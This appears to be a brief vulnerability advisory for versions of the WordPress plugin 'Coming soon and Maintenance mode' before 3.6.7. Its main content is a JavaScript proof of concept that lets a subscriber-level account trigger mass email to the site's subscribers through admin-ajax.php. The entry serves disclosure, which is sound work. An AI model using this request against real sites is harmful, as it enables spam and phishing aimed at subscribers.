Coming soon and Maintenance mode < 3.6.7 - Subscriber+ Arbitrary Email Sending to Subscribed Users

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=coming_soon_send_mail&massage_title=title&massage_description=description&massage_from_name=from&massage_from_mail=from@example.com",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));